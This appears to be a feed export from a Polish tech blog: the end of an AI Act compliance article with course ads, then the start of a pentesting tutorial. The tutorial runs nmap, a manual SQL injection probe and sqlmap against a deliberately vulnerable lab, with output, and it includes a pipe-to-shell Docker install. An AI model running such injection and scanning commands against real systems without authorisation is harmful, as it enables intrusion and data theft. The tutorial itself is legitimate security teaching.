&lt;p&gt;Dla każdego systemu oceń do której kategorii należy. To wymaga analizy prawnej - warto skonsultować z prawnikiem lub ukończyć &lt;a href="https://jsystems.pl/szkolenia-ai;ai_act.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post362&amp;amp;utm_content=link_ai_act_2026_co_musza_zrobic_polskie_firmy_zeby_byc_zgodne_z_prawem" rel="noopener noreferrer"&gt;szkolenie z AI Act&lt;/a&gt; przed podjęciem decyzji.&lt;/p&gt;

&lt;h3&gt;
  
  
  Krok 3: Dokumentacja dla systemów wysokiego ryzyka
&lt;/h3&gt;

&lt;p&gt;Jeśli masz systemy wysokiego ryzyka, musisz przygotować:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Techniczną dokumentację systemu AI&lt;/li&gt;
&lt;li&gt;Ocenę zgodności (conformity assessment)&lt;/li&gt;
&lt;li&gt;Rejestr w unijnej bazie danych (EU AI Database dla aplikacji HR i podobnych)&lt;/li&gt;
&lt;li&gt;Plan zarządzania ryzykiem&lt;/li&gt;
&lt;li&gt;Monitoring po wdrożeniu (post-market surveillance)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Krok 4: Transparency dla chatbotów i generatywnej AI
&lt;/h3&gt;

&lt;p&gt;Każdy chatbot musi informować użytkownika że jest botem. Treści generowane przez AI widoczne publicznie muszą być oznaczone jako wygenerowane przez AI (deepfake w szczególności).&lt;/p&gt;

&lt;h3&gt;
  
  
  Krok 5: Szkolenie pracowników
&lt;/h3&gt;

&lt;p&gt;AI Act nakłada obowiązek &lt;strong&gt;AI literacy&lt;/strong&gt; - pracownicy którzy pracują z systemami AI muszą rozumieć ich działanie, ograniczenia i ryzyka. To nie jest zalecenie - to wymóg prawny.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Potrzebujesz szkolenia z AI ACT dla swojego zespołu?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;a href="https://jsystems.pl/szkolenia-ai;ai_act.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post362&amp;amp;utm_content=link_ai_act_2026_co_musza_zrobic_polskie_firmy_zeby_byc_zgodne_z_prawem" rel="noopener noreferrer"&gt;Szkolenie "Gotowość na AI ACT"&lt;/a&gt; - 2 dni, praktyczne warsztaty, prowadzone przez eksperta prawa AI. Przygotuj firmę na compliance.&lt;/p&gt;

&lt;h2&gt;
  
  
  Jakie kary grożą za naruszenie AI ACT?
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Naruszenie&lt;/th&gt;
&lt;th&gt;Kara maksymalna&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Stosowanie zakazanych systemów AI&lt;/td&gt;
&lt;td&gt;35 mln EUR lub 7% obrotu&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Naruszenie wymogów dla systemów wysokiego ryzyka&lt;/td&gt;
&lt;td&gt;15 mln EUR lub 3% obrotu&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Podanie nieprawidłowych informacji organom nadzoru&lt;/td&gt;
&lt;td&gt;7,5 mln EUR lub 1% obrotu&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Dla MŚP kary są obliczane od niższego z progów.&lt;/p&gt;

&lt;h2&gt;
  
  
  ISO/IEC 42001 - zarządzanie AI w organizacji
&lt;/h2&gt;

&lt;p&gt;Równolegle z AI ACT warto rozważyć wdrożenie normy &lt;a href="https://jsystems.pl/blog/show_post/isoiec_42001_jak_wdrozyc_system_zarzadzania_ai_w_firmie_aims/" rel="noopener noreferrer"&gt;ISO/IEC 42001&lt;/a&gt; - systemu zarządzania sztuczną inteligencją (AIMS). To standard który porządkuje procesy AI w organizacji podobnie jak ISO 27001 porządkuje bezpieczeństwo informacji. Certyfikacja ISO 42001 może służyć jako dowód dobrej praktyki w przypadku kontroli zgodności z AI ACT.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-ai;ai_act.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post362&amp;amp;utm_content=banner_ai_act_2026_co_musza_zrobic_polskie_firmy_zeby_byc_zgodne_z_prawem" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8d2mutfleuf5f4a9udm4.jpg" alt="Szkolenie JSystems" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Newsletter bloga JSystems&lt;/p&gt;

&lt;h3&gt;
  
  
  Otrzymuj nowe artykuły prosto na swoją skrzynkę
&lt;/h3&gt;

&lt;p&gt;Zapisz się do newslettera bloga JSystems - wiedza IT i AI bez szumu, prosto na Twoją skrzynkę.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/blog/subscribe2newsletter/" rel="noopener noreferrer"&gt;Zapisz się do newslettera&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Szkolenia z AI ACT i AI Governance
&lt;/h3&gt;

&lt;p&gt;JSystems oferuje kompleksowe szkolenia z compliance AI: "Gotowość na AI ACT", "AI Governance dla kadry zarządzającej" oraz "ISO/IEC 42001 - wdrożenie AIMS". Prowadzone przez eksperta z wieloletnim doświadczeniem w regulacjach technologicznych.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://jsystems.pl/szkolenia-ai;ai_act.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post362&amp;amp;utm_content=link_ai_act_2026_co_musza_zrobic_polskie_firmy_zeby_byc_zgodne_z_prawem" rel="noopener noreferrer"&gt;Gotowość na AI ACT&lt;/a&gt; - 2 dni&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://jsystems.pl/szkolenia-ai;ai_governance.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post362&amp;amp;utm_content=link_ai_act_2026_co_musza_zrobic_polskie_firmy_zeby_byc_zgodne_z_prawem" rel="noopener noreferrer"&gt;AI Governance dla kadry zarządzającej&lt;/a&gt; - 2 dni&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://jsystems.pl/szkolenia-ai;iso_42001_implementation.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post362&amp;amp;utm_content=link_ai_act_2026_co_musza_zrobic_polskie_firmy_zeby_byc_zgodne_z_prawem" rel="noopener noreferrer"&gt;ISO/IEC 42001 - wdrożenie AIMS&lt;/a&gt; - 4 dni&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-ai;ai_act.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post362&amp;amp;utm_content=link_ai_act_2026_co_musza_zrobic_polskie_firmy_zeby_byc_zgodne_z_prawem" rel="noopener noreferrer"&gt;Sprawdź terminy&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To szkolenie może być &lt;a href="https://jsystems.pl/dofinansowanie?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post362&amp;amp;utm_content=dofinansowanie" rel="noopener noreferrer"&gt;dofinansowane dla Ciebie z KFS lub BUR&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;★★★★★Średnia ocena naszych szkoleń w Google: &lt;strong&gt;5/5&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Podsumowanie - plan działania
&lt;/h2&gt;

&lt;p&gt;AI ACT to nie zagrożenie dla firm które działają w dobrej wierze - to framework który porządkuje rynek i daje przewagę tym którzy dostosują się wcześniej. Firmy które przygotują się przed 2026 unikną kar i zyskają przewagę konkurencyjną nad tymi które będą gonić compliance w pośpiechu.&lt;/p&gt;

&lt;p&gt;Pierwsze kroki: zinwentaryzuj systemy AI, sklasyfikuj ryzyko, przeszkol kluczowych pracowników. Zrób to teraz - nie kiedy urząd wyśle pismo.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>compliance</category>
      <category>legaltech</category>
      <category>machinelearning</category>
    </item>
    <item>
      <title>Testy penetracyjne - jak zacząć z pentestami etycznie i skutecznie w 2026</title>
      <dc:creator>Andrzej Klusiewicz</dc:creator>
      <pubDate>Mon, 24 Aug 2026 07:03:41 +0000</pubDate>
      <link>https://dev.to/andrzej_klusiewicz_08588c/testy-penetracyjne-jak-zaczac-z-pentestami-etycznie-i-skutecznie-w-2026-44a6</link>
      <guid>https://dev.to/andrzej_klusiewicz_08588c/testy-penetracyjne-jak-zaczac-z-pentestami-etycznie-i-skutecznie-w-2026-44a6</guid>
      <description>&lt;p&gt;Z bloga JSystems - droga od zera do pierwszego realnego testu penetracyjnego, wraz z przykładem prawdziwego włamania.&lt;/p&gt;




&lt;p&gt;Wokół pentestów narosła mitologia rodem z filmów: ktoś w bluzie z kapturem stuka w klawiaturę i po dwóch minutach włamuje się do banku. Rzeczywistość jest spokojniejsza, bardziej metodyczna i znacznie ciekawsza. Test penetracyjny to rzemiosło: uporządkowany proces, w którym za zgodą właściciela systemu wcielasz się w napastnika, żeby znaleźć luki, zanim zrobi to ktoś o złych intencjach. Ten przewodnik pokazuje, jak wejść w tę specjalizację uczciwie - co opanować, w jakiej kolejności, gdzie ćwiczyć legalnie i dlaczego nie da się tego ogarnąć w weekend.&lt;/p&gt;

&lt;p&gt;Z tego artykułu wyniesiesz:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Co odróżnia legalny pentest od przestępstwa - i dlaczego to fundament całej dyscypliny&lt;/li&gt;
&lt;li&gt;Metodykę pięciu faz z realnymi komendami na celowo podatnych labach&lt;/li&gt;
&lt;li&gt;Tabelę narzędzi pentestera z jasnym wskazaniem, do czego każde służy&lt;/li&gt;
&lt;li&gt;Listę miejsc, gdzie wolno ćwiczyć bez ryzyka prawnego&lt;/li&gt;
&lt;li&gt;Uczciwą ścieżkę kariery: fundamenty, certyfikaty, widełki zarobków i podział red team kontra blue team&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Zanim ruszysz dalej - sprawa najważniejsza.&lt;/strong&gt; Każda komenda w tym artykule jest pokazana na środowiskach przeznaczonych do nauki: własnych maszynach lub publicznych celach testowych. Uruchomienie tych samych narzędzi przeciwko systemowi, do którego nie masz pisemnej zgody, jest przestępstwem - w Polsce regulują to m.in. art. 267 i 269 Kodeksu karnego, z realną odpowiedzialnością karną. Pentester bez autoryzacji to po prostu włamywacz. Cała wartość tego zawodu opiera się na tym, że robisz to legalnie: za pisemną zgodą właściciela systemu i w ściśle ustalonym zakresie (scope).&lt;/p&gt;

&lt;h2&gt;
  
  
  Czym naprawdę jest test penetracyjny
&lt;/h2&gt;

&lt;p&gt;Test penetracyjny (pentest) to autoryzowany, symulowany atak na system informatyczny, którego celem jest wykrycie słabości bezpieczeństwa, zanim wykorzysta je prawdziwy napastnik. Pentester myśli jak atakujący - łączy drobne usterki w łańcuch, eskaluje uprawnienia, szuka nieoczywistych ścieżek - ale działa w ramach umowy, w określonym zakresie i kończy pracę raportem, a nie kradzieżą danych.&lt;/p&gt;

&lt;p&gt;Warto od razu odróżnić pentest od automatycznego skanowania podatności (vulnerability scan). Skaner mechanicznie sprawdza listę znanych usterek i wypluwa surowy wynik. Pentest to praca człowieka: kreatywne łączenie kontekstu, weryfikacja, czy luka jest realnie wykorzystywalna, i ocena, jak głęboko da się wejść. Skaner powie, że port ma starą wersję serwera. Pentester powie, że przez ten serwer dotarł do panelu administratora, a stamtąd do bazy klientów - i dołączy dowód oraz instrukcję naprawy.&lt;/p&gt;

&lt;h3&gt;
  
  
  Rodzaje testów - co wie atakujący
&lt;/h3&gt;

&lt;p&gt;Zakres wiedzy, jaki dostajesz na starcie, definiuje typ testu:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Black box (czarna skrzynka)&lt;/strong&gt; - wiesz tyle, co napastnik z zewnątrz: adres IP albo adres URL. Najbardziej realistyczny scenariusz, ale i najbardziej czasochłonny.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;White box (biała skrzynka)&lt;/strong&gt; - masz pełen dostęp do dokumentacji, kodu źródłowego i schematów sieci. Pozwala znaleźć więcej luk w krótszym czasie.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Grey box (szara skrzynka)&lt;/strong&gt; - kompromis: dostajesz ograniczony dostęp, np. konto zwykłego użytkownika. Symulujesz atak zalogowanego klienta lub pracownika.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Fundamenty - czego musisz nauczyć się najpierw
&lt;/h2&gt;

&lt;p&gt;Najczęstszy błąd początkujących to skok od razu do włamywania się. Pentest bez fundamentów jest jak rozbiórka silnika przez kogoś, kto nie wie, jak działa spalanie - widzisz części, ale nie rozumiesz, co robisz. Trzy filary, bez których ani rusz:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Sieci.&lt;/strong&gt; TCP/IP, model warstwowy, DNS, HTTP/HTTPS, porty i usługi, translacja adresów (NAT), zapory sieciowe (firewall). Większość ataków przechodzi przez sieć, więc musisz rozumieć, co dzieje się na drucie.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Linux i administracja systemem.&lt;/strong&gt; Powłoka (shell), system plików, uprawnienia, procesy, usługi. Narzędzia pentestera żyją w Linuksie, a wiele celów to serwery linuksowe.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Aplikacje webowe.&lt;/strong&gt; Jak działa żądanie i odpowiedź HTTP, ciasteczka (cookies), sesje, formularze, zapytania do bazy danych. Lwia część współczesnych podatności jest po stronie aplikacji web.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Do tego warto dołożyć podstawy skryptowania (bash, a potem Python) - nie po to, by pisać exploity od zera, ale by automatyzować rutynę i rozumieć cudzy kod. To nie jest etap do przeskoczenia. To etap, dzięki któremu wszystko inne zaczyna mieć sens.&lt;/p&gt;

&lt;h2&gt;
  
  
  Metodyka pentestu - pięć faz
&lt;/h2&gt;

&lt;p&gt;Profesjonalny pentest nie jest chaotycznym klikaniem. To uporządkowany proces, który mniej więcej pokrywa się z uznanymi standardami (PTES, OWASP, metodyka OSSTMM). Pięć faz prowadzi od poznania celu do dokumentu, który realnie poprawia bezpieczeństwo.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjsystems.pl%2Fstatic%2Fimages%2Flogo-colored.svg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjsystems.pl%2Fstatic%2Fimages%2Flogo-colored.svg" alt="JSystems" width="230" height="72"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Faza 1&lt;/p&gt;

&lt;p&gt;Rozpoznanie&lt;/p&gt;

&lt;p&gt;recon - zbieranie informacji o celu&lt;/p&gt;

&lt;p&gt;Faza 2&lt;/p&gt;

&lt;p&gt;Skanowanie&lt;/p&gt;

&lt;p&gt;mapowanie portów i usług&lt;/p&gt;

&lt;p&gt;Faza 3&lt;/p&gt;

&lt;p&gt;Eksploatacja&lt;/p&gt;

&lt;p&gt;wykorzystanie luki, zdobycie dostępu&lt;/p&gt;

&lt;p&gt;Faza 4&lt;/p&gt;

&lt;p&gt;Post-eksploatacja&lt;/p&gt;

&lt;p&gt;eskalacja uprawnień, ocena zasięgu&lt;/p&gt;

&lt;p&gt;Faza 5&lt;/p&gt;

&lt;p&gt;Raport&lt;/p&gt;

&lt;p&gt;dowody i rekomendacje naprawcze&lt;/p&gt;

&lt;p&gt;Pięć faz testu penetracyjnego. Każda faza zasila następną - bez dobrego rozpoznania skanowanie jest ślepe, a bez raportu cała praca nie ma wartości dla klienta.&lt;/p&gt;

&lt;h3&gt;
  
  
  Faza 1: Rozpoznanie (recon)
&lt;/h3&gt;

&lt;p&gt;Zanim cokolwiek dotkniesz, poznajesz cel. Rozpoznanie pasywne czerpie z publicznie dostępnych źródeł (biały wywiad, OSINT): rejestry domen, certyfikaty, subdomeny, technologie, adresy e-mail. Rozpoznanie aktywne to już bezpośrednia interakcja z celem - tu zaczyna się obszar wymagający autoryzacji. Poniżej przykład bezpiecznego, pasywnego sprawdzenia publicznego celu testowego Acunetix, który istnieje właśnie po to, by się na nim uczyć:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Cel: testphp.vulnweb.com - publiczny lab Acunetix przeznaczony do nauki
# Jakie rekordy DNS ma domena? (rozpoznanie pasywne, bez ataku)
kali@kali:~$ host testphp.vulnweb.com
testphp.vulnweb.com has address 44.228.249.3

# Jaki serwer i technologie odpowiadają? Czytamy same nagłówki HTTP
kali@kali:~$ curl -sI http://testphp.vulnweb.com
HTTP/1.1 200 OK
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40
Content-Type: text/html; charset=UTF-8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Z dwóch komend już wiemy sporo: cel działa na serwerze nginx, aplikacja jest napisana w bardzo starej wersji PHP. To kierunkuje dalsze kroki. Dobry recon potrafi przesądzić o powodzeniu całego testu - im więcej wiesz, tym celniej działasz później.&lt;/p&gt;

&lt;h3&gt;
  
  
  Faza 2: Skanowanie
&lt;/h3&gt;

&lt;p&gt;Teraz mapujesz powierzchnię ataku: które porty są otwarte, jakie usługi za nimi stoją, w jakich wersjach. Standardem branży jest &lt;strong&gt;nmap&lt;/strong&gt;. Poniżej skan publicznego celu testowego - zwróć uwagę, że pracujemy wyłącznie na adresie udostępnionym do nauki:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Skan usług i wersji na publicznym labie. -sV = wykryj wersje, -T4 = tempo
kali@kali:~$ nmap -sV -T4 testphp.vulnweb.com
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for testphp.vulnweb.com (44.228.249.3)
Host is up (0.12s latency).
PORT     STATE  SERVICE  VERSION
80/tcp   open   http     nginx 1.19.0
443/tcp  closed https
Service detection performed. Nmap done: 1 IP address scanned in 14.2s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wynik mówi nam, że jedyną istotną usługą jest serwer WWW na porcie 80. W realnym teście wewnętrznym zobaczyłbyś znacznie więcej: bazy danych, usługi zdalnego dostępu, panele administracyjne. Każda otwarta usługa to potencjalna ścieżka - i każdą trzeba zweryfikować.&lt;/p&gt;

&lt;h3&gt;
  
  
  Faza 3: Eksploatacja - realne włamanie krok po kroku
&lt;/h3&gt;

&lt;p&gt;Tu rozpoznanie zamienia się w realny dostęp. Pokażemy pełne, udane włamanie do bazy danych przez podatność webową - na tej samej aplikacji co wcześniej, czyli vulnweb (Acuart). Z jedną różnicą: zamiast publicznego serwera użyjemy jego własnej kopii uruchomionej lokalnie. Dlaczego? Po pierwsze, publiczny testphp.vulnweb.com bywa niedostępny - to tylko serwis pokazowy i regularnie pada. Po drugie, dane wynosi się i zrzuca wyłącznie z systemu, który sami w pełni kontrolujemy. Komendy są identyczne jak przeciwko publicznemu celowi; zmienia się tylko adres. Wszystko poniżej pochodzi z prawdziwego wykonania, nie z symulacji.&lt;/p&gt;

&lt;h3&gt;
  
  
  Najpierw poligon: postaw vulnweb lokalnie w Dockerze
&lt;/h3&gt;

&lt;p&gt;Jeśli &lt;code&gt;testphp.vulnweb.com&lt;/code&gt; nie odpowiada (a zdarza się to często), postaw tę samą aplikację u siebie w kilka chwil. Potrzebujesz tylko Dockera.&lt;/p&gt;

&lt;p&gt;Nie masz go jeszcze? Na Kali, Ubuntu czy Debianie zainstalujesz Dockera oficjalnym skryptem instalacyjnym:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Instalacja Dockera (Kali / Ubuntu / Debian) - oficjalny skrypt get.docker.com
kali@kali:~$ curl -fsSL https://get.docker.com | sudo sh

# (opcjonalnie) uruchamianie dockera bez sudo - wyloguj sie i zaloguj po tej komendzie
kali@kali:~$ sudo usermod -aG docker $USER

# Sprawdz, ze Docker i Compose dzialaja (powinno wypisac wersje)
kali@kali:~$ docker --version &amp;amp;&amp;amp; docker compose version
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Na Windowsie i macOS najwygodniej zainstalowac &lt;a href="https://www.docker.com/products/docker-desktop/" rel="noopener noreferrer"&gt;Docker Desktop&lt;/a&gt; - dostajesz to samo polecenie &lt;code&gt;docker compose&lt;/code&gt;. Gdy Docker juz dziala, pobierz gotowy lab i uruchom go:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# 1. Pobierz i rozpakuj gotowy lab (ta sama aplikacja Acuart co testphp.vulnweb.com)
kali@kali:~$ wget https://jsystems.pl/new_page_resources/images/HACKING_KURS/vulnweb-lab.zip
kali@kali:~$ unzip vulnweb-lab.zip &amp;amp;&amp;amp; cd vulnweb-lab

# 2. Zbuduj i uruchom (aplikacja PHP + baza MariaDB z bazą acuart)
kali@kali:~$ docker compose up -d --build

# 3. Sprawdź, że działa - strona powinna odpowiedzieć na porcie 8080
kali@kali:~$ curl -s http://localhost:8080/ | grep -i acunetix
&amp;lt;title&amp;gt;Home of Acunetix Art&amp;lt;/title&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aplikacja nasłuchuje pod adresem &lt;code&gt;http://localhost:8080&lt;/code&gt;. Jeśli atakujesz ją z innej maszyny w sieci, zamiast &lt;code&gt;localhost&lt;/code&gt; użyj adresu IP kontenera albo hosta, na którym stoi Docker. To kompletny, działający vulnweb - od tego momentu wszystkie poniższe komendy kierujemy właśnie tu. A gdy publiczny serwis akurat wstanie i wolisz uderzyć w niego, po prostu zamień w komendach &lt;code&gt;localhost:8080&lt;/code&gt; na &lt;code&gt;testphp.vulnweb.com&lt;/code&gt; - cała reszta zostaje bez zmian.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fis1tr44fb8jf8ow4d534.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fis1tr44fb8jf8ow4d534.png" alt="Strona główna lokalnej instancji vulnweb (Acuart) uruchomionej w Dockerze - nagłówek Home of Acunetix Art i ostrzeżenie, że to celowo podatna aplikacja" width="799" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Strona główna naszej lokalnej kopii vulnweb (Acuart) na &lt;code&gt;localhost:8080&lt;/code&gt; - identyczna jak publiczny testphp.vulnweb.com. Sam banner przypomina, że to celowo podatna aplikacja postawiona do nauki.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Co to jest wstrzyknięcie SQL (SQL injection)?&lt;/strong&gt; To podatność, w której dane wpisane przez użytkownika - na przykład wartość parametru w adresie URL - trafiają wprost do zapytania do bazy danych, bez odfiltrowania. Atakujący dopisuje własny fragment zapytania, a baza wykonuje go tak samo jak kod aplikacji. Skutki bywają poważne: odczyt cudzych danych (loginy, hasła, dane klientów), ominięcie logowania, a czasem przejęcie całego serwera bazy.&lt;/p&gt;

&lt;h3&gt;
  
  
  Jak w ogóle znaleźć podatny parametr
&lt;/h3&gt;

&lt;p&gt;Zanim odpalimy jakiekolwiek narzędzie, musimy wiedzieć, co właściwie atakować - skanowanie zaczyna się od zwykłego klikania po stronie i patrzenia na adres w pasku przeglądarki. Wejście w kategorię z plakatami prowadzi pod adres &lt;code&gt;listproducts.php?cat=1&lt;/code&gt;. Ten fragment &lt;code&gt;?cat=1&lt;/code&gt; to &lt;strong&gt;parametr&lt;/strong&gt; przekazywany w adresie URL - aplikacja bierze jego wartość (&lt;code&gt;1&lt;/code&gt;) i na jej podstawie wybiera z bazy produkty z danej kategorii. Zmień &lt;code&gt;?cat=2&lt;/code&gt;, a zobaczysz inną kategorię. Skoro wartość prosto z paska adresu trafia do zapytania SQL, to właśnie ona jest naszym pierwszym punktem zaczepienia.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0dxy8ku0lt5dm08wdzze.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0dxy8ku0lt5dm08wdzze.png" alt="Pasek adresu przeglądarki z zaznaczonym parametrem cat=1 w adresie listproducts.php oraz lista produktów na stronie vulnweb" width="800" height="245"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Parametr &lt;code&gt;cat&lt;/code&gt; widoczny wprost w pasku adresu (&lt;code&gt;listproducts.php?cat=1&lt;/code&gt;, zaznaczony na czerwono). Jego wartość aplikacja wstawia do zapytania o produkty - to ona jest naszym punktem zaczepienia.&lt;/p&gt;

&lt;p&gt;Jak sprawdzić, czy ten parametr da się wykorzystać? Najprostszy test to dopisać do jego wartości pojedynczy apostrof (&lt;code&gt;'&lt;/code&gt;) i zobaczyć, czy aplikacja się zakrztusi. Wpisujemy w pasek &lt;code&gt;listproducts.php?cat=1'&lt;/code&gt; - przeglądarka pokaże apostrof jako &lt;code&gt;%27&lt;/code&gt;, czyli ten sam znak zapisany w kodowaniu adresu URL:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9c1tj1f5iyg7ftkjkkvr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9c1tj1f5iyg7ftkjkkvr.png" alt="Pasek adresu z parametrem cat=1%27 i komunikat błędu składni SQL z MariaDB wyświetlony na stronie zamiast listy produktów" width="800" height="245"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Po dopisaniu apostrofu zamiast listy produktów dostajemy komunikat błędu składni SQL z MariaDB. Apostrof rozbił zapytanie - to twardy dowód, że wartość parametru trafia do bazy bez żadnego filtrowania.&lt;/p&gt;

&lt;p&gt;Ten błąd to jednoznaczny sygnał: nasz apostrof zamknął ciąg znaków wewnątrz zapytania i reszta przestała być poprawnym SQL-em. Skoro jeden znak potrafi rozbić zapytanie, to znaczy, że równie dobrze możemy &lt;em&gt;dopisać do niego własny fragment&lt;/em&gt; - czyli parametr &lt;code&gt;cat&lt;/code&gt; jest podatny na wstrzyknięcie SQL. I właśnie na niego skierujemy sqlmap.&lt;/p&gt;

&lt;p&gt;Ręczny apostrof potwierdził podatność, ale wyciąganie danych znak po znaku byłoby mordęgą. Od tego jest &lt;strong&gt;sqlmap&lt;/strong&gt; - narzędzie, które samo potwierdza podatność, dobiera technikę wstrzyknięcia i pozwala wygodnie wyciągać dane: od listy baz, przez tabele, po konkretne rekordy. Wskazujemy mu dokładnie ten podatny adres - &lt;code&gt;listproducts.php?cat=1&lt;/code&gt; na naszym lokalnym vulnweb pod &lt;code&gt;localhost:8080&lt;/code&gt; (albo wprost na &lt;code&gt;testphp.vulnweb.com&lt;/code&gt;, jeśli publiczny serwis akurat działa) - i zaczynamy od pytania, jakie bazy danych widzi aplikacja:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Krok 1 - czy parametr cat jest podatny i jakie bazy widzi aplikacja?
kali@kali:~$ sqlmap -u "http://localhost:8080/listproducts.php?cat=1" --batch --dbs
[INFO] GET parameter 'cat' appears to be 'MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)' injectable
[INFO] GET parameter 'cat' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
sqlmap identified the following injection point(s):
Parameter: cat (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL &amp;gt;= 5.1 (MariaDB fork)
[INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



